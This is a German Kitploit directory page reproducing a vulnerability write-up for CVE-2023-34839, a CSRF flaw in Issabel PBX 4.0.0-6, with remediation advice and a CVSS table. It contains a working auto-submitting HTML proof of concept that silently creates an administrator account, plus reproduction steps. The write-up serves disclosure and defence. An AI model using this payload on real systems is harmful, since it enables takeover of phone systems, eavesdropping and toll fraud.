Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-34839 — CVE-2023-34839 ist eine Cross-Site Request Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications. | Kitploit
Tools/GitHubGitHub/sahiloj/cve-2023-34839
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubsahiloj/cve-2023-34839

CVE-2023-34839

CVE-2023-34839 ist eine Cross-Site Request Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications.

Repository anzeigen
53vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-34839 — Issabel PBX 4.0.0-6: CSRF zu Privilegieneskalation

CVE Severity CVSS Affected Version


Inhaltsverzeichnis

  • Übersicht
  • Details zur Schwachstelle
  • Betroffene Software
  • CVSS-Score
  • Angriffsszenario
  • Proof of Concept (PoC)
  • Schritte zum Reproduzieren
  • Auswirkungen
  • Behebung
  • Referenzen
  • Haftungsausschluss

Übersicht

CVE-2023-34839 ist eine Cross-Site-Request-Forgery-Schwachstelle (CSRF), die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications. Die Schwachstelle befindet sich im Endpunkt der Benutzerverwaltung und ermöglicht einem nicht authentifizierten Remote-Angreifer, stillschweigend ein neues Administratorkonto zu erstellen, indem er einen aktuell authentifizierten Administrator dazu bringt, eine speziell gestaltete Webseite zu besuchen.


Details zur Schwachstelle

Issabel PBX 4.0.0-6 implementiert keinen CSRF-Schutz (z. B. Synchronizer-Tokens, SameSite-Cookie-Attribute oder eine Validierung der Origin- / Referer-Header) am Endpunkt Benutzererstellung:

root@kitploit:~
POST /index.php?menu=userlist&action=new

Da die Anwendung für die Authentifizierung ausschließlich auf Session-Cookies setzt und keine Validierung zustandsändernder Anfragen durchführt, wird eine manipulierte POST-Anfrage, die von beliebiger Herkunft gesendet wird, akzeptiert und mit den vollen Rechten der angemeldeten Administrator-Sitzung verarbeitet.

Grundursache: Fehlende Validierung von Anti-CSRF-Tokens bei zustandsändernden administrativen Endpunkten.

Schwachstellenklasse: CWE-352 — Cross-Site Request Forgery (CSRF)


Betroffene Software

SoftwareVersionStatus
Issabel PBX4.0.0-6Verwundbar ✔
  • Anbieter-Website: https://www.issabel.org/
  • Quellcode: https://github.com/IssabelFoundation/issabelPBX

CVSS-Score


Angriffsszenario

Ein Angreifer kann diese Schwachstelle durch die folgenden Schritte auf hoher Ebene ausnutzen:

  1. Erstellen einer bösartigen HTML-Seite, die ein verstecktes Formular enthält, das auf den Endpunkt zur Benutzererstellung der Issabel-PBX abzielt, mit vom Angreifer kontrollierten Werten (Benutzername, Passwort, Gruppe = Administrator).
  2. Hosten der bösartigen Seite auf einem Server oder Senden an den Ziel-Administrator per Phishing-E-Mail, Chat-Nachricht oder über einen anderen Social-Engineering-Vektor.
  3. Warten, bis der Administrator den Link öffnet, während eine aktive, authentifizierte Sitzung mit der Issabel-PBX-Anwendung besteht.
  4. Der Browser sendet das Formular automatisch ab – unter Verwendung des vorhandenen Session-Cookies des Opfers –, sodass die Anwendung stillschweigend ein neues Administratorkonto erstellt.
  5. Der Angreifer meldet sich mit den neu erstellten Anmeldedaten an und erhält vollen Administratorzugriff auf das PBX-System, einschließlich Anrufrouting, Aufzeichnungen, SIP-Trunk-Konfiguration und aller Systemeinstellungen.

Vom Opfer ist keine andere Interaktion als der Besuch einer einzelnen Seite erforderlich.


Proof of Concept (PoC)

⚠️ Nur für Bildungszwecke und autorisierte Tests.
Ersetzen Sie localhost durch den Hostnamen oder die IP-Adresse der Ziel-Issabel-PBX-Instanz.
Wenn Sie gegen einen https://-Endpunkt mit einem selbstsignierten Zertifikat testen, müssen Sie zuerst die Ziel-URL im selben Browser aufrufen und die Zertifikatswarnung akzeptieren; andernfalls blockiert der Browser die Cross-Origin-Formularübermittlung.

root@kitploit:~
<html>
  <!-- CSRF Exploit — CVE-2023-34839 -->
  <body>
    <form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
      <input type="hidden" name="save"             value="Save" />
      <input type="hidden" name="name"             value="CSRF" />
      <input type="hidden" name="description"      value="CSRF Test Account" />
      <input type="hidden" name="password1"        value="Test@123" />
      <input type="hidden" name="password2"        value="Test@123" />
      <input type="hidden" name="group"            value="1" />   <!-- 1 = Administrator -->
      <input type="hidden" name="extension"        value="" />
      <input type="hidden" name="webmailuser"      value="" />
      <input type="hidden" name="webmaildomain"    value="" />
      <input type="hidden" name="webmailpassword1" value="" />
      <input type="hidden" name="id_user"          value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Die Exploit-Datei ist auch in diesem Repository verfügbar: CSRF Exploit.html


Schritte zum Reproduzieren

Voraussetzungen

  • Eine laufende Issabel-PBX-4.0.0-6-Instanz.
  • Ein Administratorkonto mit einer aktiven Browser-Sitzung.
  • Ein Browser auf demselben Rechner wie die Administrator-Sitzung.

Schritt 1 — Als Administrator bei Issabel PBX anmelden

Navigieren Sie zur Weboberfläche der Issabel-PBX und melden Sie sich mit Administrator-Anmeldedaten an.

Issabel-PBX-Anmeldung


Schritt 2 — Den CSRF-Exploit vorbereiten

Kopieren Sie den obigen PoC-HTML-Code und speichern Sie ihn als .html-Datei, wobei Sie localhost durch den tatsächlichen Hostnamen oder die IP-Adresse der Ziel-Issabel-Instanz ersetzen.

Der Exploit verwendet versteckte Formularfelder, um stillschweigend eine POST-Anfrage zur Erstellung eines neuen Benutzers an die Anwendung zu senden. Beim Laden der Seite sendet das eingebettete JavaScript das Formular sofort ab, ohne dass eine sichtbare Benutzeraktion erforderlich ist.

CSRF-Exploit-HTML


Schritt 3 — Den Exploit im selben Browser öffnen

Öffnen Sie die gespeicherte HTML-Datei im selben Browser (in einem neuen Tab), während die Administrator-Sitzung noch aktiv ist. Das Formular wird sofort beim Laden der Seite automatisch abgesendet.


Schritt 4 — Erstellung des neuen Administratorkontos überprüfen

Navigieren Sie zurück zum Bereich Benutzerverwaltung der Issabel-PBX. Ein neues Benutzerkonto (in diesem PoC mit dem Namen CSRF) wurde mit vollen Administrator-Rechten erstellt – ohne weitere Interaktion über das Öffnen der Exploit-Seite hinaus.

Neuer Administrator-Benutzer erstellt


Auswirkungen

Eine erfolgreiche Ausnutzung von CVE-2023-34839 ermöglicht es einem Angreifer:

  • Schatten-Administratorkonten zu erstellen im PBX-System, was dauerhaften Zugriff mit vollen Rechten ermöglicht.
  • Anrufrouting und SIP-Trunks zu ändern, was Abhören oder Toll Fraud ermöglicht.
  • Auf Voicemail-Aufzeichnungen und Anrufdatensätze (CDRs) zuzugreifen, was zur Offenlegung sensibler Informationen führt.
  • Legitime Administratoren auszusperren, indem Passwörter geändert oder bestehende Konten gelöscht werden.
  • Kommunikation zu stören, indem die PBX-Konfiguration geändert oder gelöscht wird.

Da das Schattenkonto auch nach dem Ende der Sitzung des Opfers bestehen bleibt, behält der Angreifer dauerhaft Zugriff, bis das Konto entdeckt und entfernt wird.


Behebung

Administratoren und Entwickler von Issabel PBX sollten die folgenden Gegenmaßnahmen anwenden:

  1. Anti-CSRF-Tokens implementieren: Generieren Sie ein eindeutiges, unvorhersehbares, an die Sitzung gebundenes Token für jedes zustandsändernde Formular. Validieren Sie das Token serverseitig, bevor Sie eine POST-Anfrage verarbeiten.

  2. SameSite=Strict oder SameSite=Lax für Session-Cookies festlegen: Dies weist Browser an, Cookies bei Cross-Site-Anfragen nicht zu senden, wodurch klassische CSRF-Angriffe in modernen Browsern wirksam verhindert werden.

  3. Origin- und Referer-Header validieren: Lehnen Sie Anfragen ab, deren Origin- oder Referer-Header nicht mit der erwarteten Anwendungsdomäne übereinstimmt.

  4. Erneute Authentifizierung für sensible Aktionen verlangen: Fordern Sie den Administrator zur Eingabe seines aktuellen Passworts auf, bevor die Erstellung neuer Konten auf Administrator-Ebene erlaubt wird.

  5. Neueste Sicherheitspatches einspielen: Beobachten Sie die Issabel-Release-Seite und das offizielle Repository auf Patches, die diese CVE beheben.


Referenzen

  • NVD — CVE-2023-34839
  • OWASP — Cross-Site Request Forgery (CSRF)
  • CWE-352: Cross-Site Request Forgery
  • Offizielle Issabel-Website
  • IssabelFoundation/issabelPBX auf GitHub

Haftungsausschluss

Dieses Repository dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung. Die hier bereitgestellten Informationen und Proof-of-Concept-Codes dürfen nur gegen Systeme verwendet werden, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Ihnen nicht gehören, ist illegal und kann zu strafrechtlicher Verfolgung führen. Der Autor übernimmt keinerlei Haftung für Missbrauch der in diesem Repository enthaltenen Informationen.

Tool herunterladen
FeldWert
CVE-KennungCVE-2023-34839
Datum23. Juni 2023
ForscherSahil Ojha
AnbieterIssabel
ProduktIssabel PBX
Version4.0.0-6
Getestet aufWindows
MetrikWert
CVSS v3.1-VektorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Basis-Score8.8 (Hoch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionErforderlich (Administrator-Besuch)
ScopeUnverändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch